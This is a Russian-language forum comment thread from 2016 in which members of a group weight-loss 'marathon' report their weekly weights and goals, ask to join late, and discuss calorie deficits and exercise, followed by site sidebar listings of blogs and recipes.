Irina ZH, подождите до воскресенья, посмотрим сколько марафонцев отчитаются))
Anna 23.02.2016 12:09
Rocksa, СПАСИБО за понимание,очень Вам благодарна,ведь такая мотивация чуть мимо не прошла,зато теперь я с вами.Вместе и чёрт не страшен,даже если он с усами,а не то что кг. жира.Удачи всем!
Светлана Солнечная 23.02.2016 12:45
возьмите меня тоже плиз
вес на сегодня 69,9. цель 58!
очень прошу. мне для бОльшей мотивации надо
Rocksa 23.02.2016 12:58
Светлана Солнечная, ну как же я вас возьму? вы же уже 2 дня пропустили от старта... условия не равные. Не обижайтесь, но больше уже никого брать не буду) Участвуйте с нами заочно)
Hiver 23.02.2016 13:02
Светлана Солнечная, или заочно участвовать, или новую группу вам набирать, или ждать окончания этого марафона. Вдруг, летом новый начнётся.  
Jakonda_2023 (МЗР) 23.02.2016 13:02
Ещё не поздно и мне присоедниться?
Очень хочу достичь желаемого веса 60 кг к лету!
А в последние дни мотивация куда то пропала, вес стоит один и тот же уже почти неделю 65,6
Олеся Корхова 23.02.2016 13:07
Rocksa, 21.02- вес 72.5 кг - цель 65 кг
Rocksa 23.02.2016 13:08
Larisa Morozova (Markova), к сожалению поздно, марафон уже идет 2 дня... Можете заочно участвовать) Самостоятельно сравнивая свои результаты с марафонцам)
Hiver 23.02.2016 13:11
Светлана Солнечная, Олеся Корхова, Larisa Morozova (Markova), девочки, делайте новую группу. Вас уже трое. Даже и азартнее будет, например, по общему сбросу кг той или иной команды. 
Олеся Корхова 23.02.2016 13:19
Hiver, Я просто дала данные т.к. Rocksa просила, я вчера писала, что если не успеваю не расстроюсь, буду наблюдателем, и идти к своей цели.
Rocksa 23.02.2016 13:21
Олеся Корхова, вы еще успели)
Татьяна Козырева 23.02.2016 13:22
Мой номер 14, Татьна Козырева-конечный вес 65 кг., у вас записано 60-исправьте пожалуйста!
Олеся Корхова 23.02.2016 13:24
Rocksa, Спасибо, я очень рада, что в группе!!!
Hiver 23.02.2016 13:34
Олеся Корхова, поняла 
Елена Попова 23.02.2016 13:43
мне кажется, некоторые не поняли, что надо указать вес  к 1.06, или некоторым за 3 месяца программа насчитала аж 15кг потерять?
Rocksa 23.02.2016 13:49
Елена Попова, может не поняли, а может специально завышенную цель ставят) Ну и вопрос количества лишних кг) когда вес за сотню, то 15 кг за 3 месяца это вполне реально)
Елена Попова 23.02.2016 13:57
Rocksa 23.02.2016 13:59
Елена Попова, Ну, условия я писала по-моему четко) Разжевывать и переспрашивать у каждого не буду)) 
Искорка *** 23.02.2016 14:32
а можно с вами поучаствовать ? Вес 53.0 до цели 50 кг - 3 кг.
Rocksa 23.02.2016 14:35
Искорка ***, можно поучаствовать, но без нас) Марафон уже идет целых 2 дня)
Guly 23.02.2016 17:49
Rocksa, как узнать успела я в марафон? И как подружиться 
Guly 23.02.2016 17:54
Rocksa, как мне подружиться?  Какие то промежуточные результаты будем подбирать или  сразу финиш? 
Guly 23.02.2016 17:59
Галин@, не хочу доставать rocksa , вы мне подскажите  как с ней подружиться  что нажать
Rocksa 23.02.2016 18:01
Guly, читайте внимательно условия) Каждое воскресенье будет создаваться тема, в которой обязательно надо отписываться. Читайте шапку!!
Rocksa 23.02.2016 18:04
Guly, нажмите на меня) зайдете в мой блог, там будет кнопка "Добавить в друзья" ))
Guly 23.02.2016 18:09
Rocksa, поняла и прочитала
Мила 23.02.2016 18:11
я тоже хочу
Rocksa 23.02.2016 18:16
Мила, к сожалению не могу вас взять, марафон уже начался и идет 3 день... Не расстраивайтесь, сами ставьте себе цель и вперед к ней!!)
Ольга Бойцова 23.02.2016 23:19
Rocksa, вы меня не правильно внесли. у меня старт  114,а хочу 99.видимо неправильно написала
Rocksa 23.02.2016 23:30
Ольга Бойцова, ок, исправлю)
Татьяна Стройная 24.02.2016 01:38
Где то я такую таблицу уже видела... А, вспомнила! У Протасова. 
Лана 123 24.02.2016 06:06
Еще принимаете в свою компанию. Если да, то вес на сегодня 61,2. Цель 55. То есть до цели 6,2.
Rocksa 24.02.2016 13:29
Татьяна Стройная, это кто такой?) Таблица вольного сочинения))
Rocksa 24.02.2016 13:32
Лана Иванова, нет,в названии же написано что СТОП уже. Марафон уже длится 3 сутки) 
Лана 123 24.02.2016 16:18
Очень жаль.
Постоянство Памяти 28.02.2016 05:49
Здравствуйте! Отчитываюсь за неделю Вес на сегодня, 28 февраля  91,3. (не знаю, куда писать сообщение, убегаю на работу  на сутки)
женя клименко 28.02.2016 06:05
тоже убегаю на работу поэтому отпишусь здесь я под №26 вес на сегодня 73.9 начала заниматься на этой неделе с Лесли Сансон..как давно я не занималась ни какими тренировочками для меня прогресс по питанию могу сказать, что катастрафически не допиваю норму воды  углеводы 101.7% зеленая полоса, белки 85% желтая полоса, жиры 95.9% зеленая полоса в общем вывод- недобор белков. энергетический баланс с 22 по 27 февраля =-2025кк...буду стараться исправляться  
надежда 28.02.2016 11:59
У меня небольшой отвес,мой вес сегодня,2802 -86,500,и то хлеб))))))))Я конечно,подрасстроилась,тем более,что цель заломила космическую,теперь понимаю,мне бы и10 кг хватило)))))))))занимаюсь быстрой ходьбой с лесли 3 мили,приседаю,энергобаланс за неделю =6000))))))))у меня почему то стала задерживаться жидкость,немного убавила .Вот пожалуй и все.
надежда 28.02.2016 12:00
-6000
надежда 28.02.2016 12:02
номер 47
Мы белые и пушистые 28.02.2016 12:05
Людмила Каледина, 
Людмила Каледина написал:
Тогда сама буду себя подтягивать к лету. Сегодня 79, хочу 75 кг

предлагаю создать оппозицию единоличников) Шутка. Тоже хочу к лету 75, но если не получится, по крайней мере не будет по ночам сниться позорный столб и тухлые помидоры )) А то от такого стресса можно набрать вместо того, чтобы похудеть)
Joy Toy 28.02.2016 12:06
Вот это вы придумали себе развлечение.
Выбрать из комментов номер участника, отредактировать табличку.
Работа, в хорошем смысле слова. Настоящая работа!
--
Может быть создать табличку в excel, сам файл выложить на google диск. Участники сами редактируют свою ячейку, вам лишь обновлять данные на этом сайте.
Мадам 28.02.2016 12:14
№ 15-  минус 900 гр= 79,100
Татьяна 28.02.2016 12:20
Номер 22 .Мой вес 96 килограммов. Печально, но не сдаюсь. Ела много соленого.Теперь вместо соления рыбу буду готовить на пару.
Ксения Л 28.02.2016 12:23
Елена Семашко, tat.romusik tat, девочки))) отчет в другой теме уже)))) не в этой))
Ксения Л 28.02.2016 12:23
Ольга Бойцова 28.02.2016 12:32
номер 87. всем доброе утро. вес на сегодня 113.6. было меньше ,но хлеб сделал свое черное дело.сегодня уезжаю в отпуск. возможно не получится взвешиваться,но объемы буду измерять. очень хочется достигнуть цели поставленной (ооооочень большой) . всем удачи!!!
Дарья Кондратьева 28.02.2016 14:14
Rocksa 28.02.2016 14:44
Joy Toy, да на самом деле ничего сложного) внести данные в табличку и потом просто скопировать ее) И это на самом деле проще) Потому что с самостоятельным заполнением проблем будет еще больше) Один не понял что делать, второй не туда записал, четвертый перепутал свой номер.... в общем это еще геморойней))
Марусичка 28.02.2016 14:47
надежда алексеева написал:
-6000

:o :o :o 6кг за неделю? офигеть
надежда 28.02.2016 15:36
Марусичка, вы не поняли-0,500,)а 6000 это энергобаланс за неделю)))))то бишь дефицит его))))))))))
Rocksa 28.02.2016 15:36
Марусичка, нет, это калорий столько дефицит)
Анастасия Курбатова 28.02.2016 17:36
№ 44 минус 0,200 грамм за неделю, обязательно пересмотрю дневник, было много масла сливочного (в каши, в горячие блюда), кофе с сахаром и со сливками  в среднем 2 раза в день, поэтому и отвес небольшой, плюс немного выпечки присутствовало ((((. Пересматриваю свои пищевые привычки, надеюсь на следующую неделю результат будет лучше. 
Анастасия Курбатова 28.02.2016 17:39
Наверно так правильнее записать

№ 44 на 28.02.16 вес 62,8 кг
Rocksa 28.02.2016 17:45
Анастасия Курбатова, да, так правильно) только смотрите мой блог, я буду на каждую неделю создавать свою запись и все отчеты пишут туда))
Анастасия Курбатова 28.02.2016 17:48
Rocksa, хорошо, поняла  
Ксения 28.02.2016 18:03
Отличная идея!) Поучаствовать уже не успеваю, но участникам желаю удачи) 
И спасибо автору за такой мощный пендаль
Людмила* 28.02.2016 18:05
Кто-нибудь создал еще один такой марафон. Можно было бы соревноваться. Какая команда добилась лучших результатов... для создания нужны какие-то особые права?
Rocksa 28.02.2016 18:17
Людмила - написал:
для создания нужны какие-то особые права?

нет) права не нужны) просто создаете свою тему и все) Соревноваться можно, только как? Участники разные, сбрасывают по разному... Тут соревнование с самим собой. По отношению к другим участникам единственное соревнование сдался ты или нет)
Людмила Каледина 29.02.2016 21:28
Официально отказываюсь от участия в марафоне!!!! Сменила работу ( теперь даже не знаю какую форму труда ставить). Теперь пока не налажу систему питания, даже не знаю что будет. Не ругайтесь сильно...
Rocksa 29.02.2016 21:32
Людмила Каледина, так это же не повод отказываться) результаты могут быть любыми) учавствуя в марафоне вы идете к своей цели) У многих трудности случаются, у кого плато, у кого вода чего то задержалась, кто то в поездке) Но даже в этих условиях вы будете идти к своей цели)) Так что подумайте хорошо) Ваш опыт был бы полезен многим, как не сдаваться в тяжелых ситуациях) 
Людмила Каледина 29.02.2016 21:36
Rocksa, Даже не знаю.... Надо подумать.... Но на сегодня, пока вес 80.
Rocksa 29.02.2016 21:42
Людмила Каледина, но вы же будете продолжать худеть?) Если да, то я оставлю вас до следующей недели) Я верю что вы не отступите) Только результат отпишите обязательно в воскресенье) Прием результатов ровно сутки)
Лидия 02.03.2016 17:09
приймите в ряды марафонцев ? 
Rocksa 02.03.2016 17:12
Лидия, марафон идет уже 2 неделю...
Даша 02.03.2016 17:18
Какие вы молодцы, ребята! С интересом буду наблюдать за вашими результатами.
Жаль, сама поздно прочла про марафон. Но буду мотивироваться вашими успехами. Всем удачи!
Лидия 02.03.2016 17:19
Rocksa, да уж непруха. . только увидела что стартует марафон )
 Участникам всем удачи  в достижении цели ) Не  сдавайтесь ! Это хороший мотиватор 
Ольга Sova 05.03.2016 09:35
Я не знаю , где отписаться, хоть вы у меня в друзьях, но даже там не смогла найти, как написать вам сообщение) Вобщем, что бы не повторить прошлой ошибки и не оказаться в черном ( красном) списке отписываюсь сейчас, завтра не смогу. Мой номер 65, за эту неделю я ничего не скинула( Сказался ДР дочери- готовила и мороженое, и торт... ну , естественно напробовалась))) И двигалась за эту неделю мало. Вот. На следующей неделе поднажму) 
Интересные блоги
Алин@
17-01-2025
Дневник питания за 17.01.2025
Добрый вечер,:rose: сегодня весенняя прекрасная по...
5 137
Виталий
12-01-2025
Непонятки с БЖУ. Считать или не считать? That is t...
В `теме` я с июня 2024. Но сопутствующий всеобщей ...
4 69
Продуктовый адвокат
14-01-2025
Сессию сдала на 4. Глаз дëргается, конечно, но сда...
10 57
Новые рецепты
Запеченная цветная капуста
Автор Жанна
0
0
0
0
0
5 0
Фунчеза с куриным филе отварным
Автор алена котова
63.3
10
1.3
2.9
21
4 4
Шницель
Автор Ирина
164.6
24.5
5
5.3
10
3 0
Лучшие рационы
Карл
2025-01-11
Калорийность: 1000 кКал
Витамины и минералы: 90%
Радмира
2025-01-10
Калорийность: 1023 кКал
Витамины и минералы: 84%
Наталья
2025-01-13
Калорийность: 1194 кКал
Витамины и минералы: 87%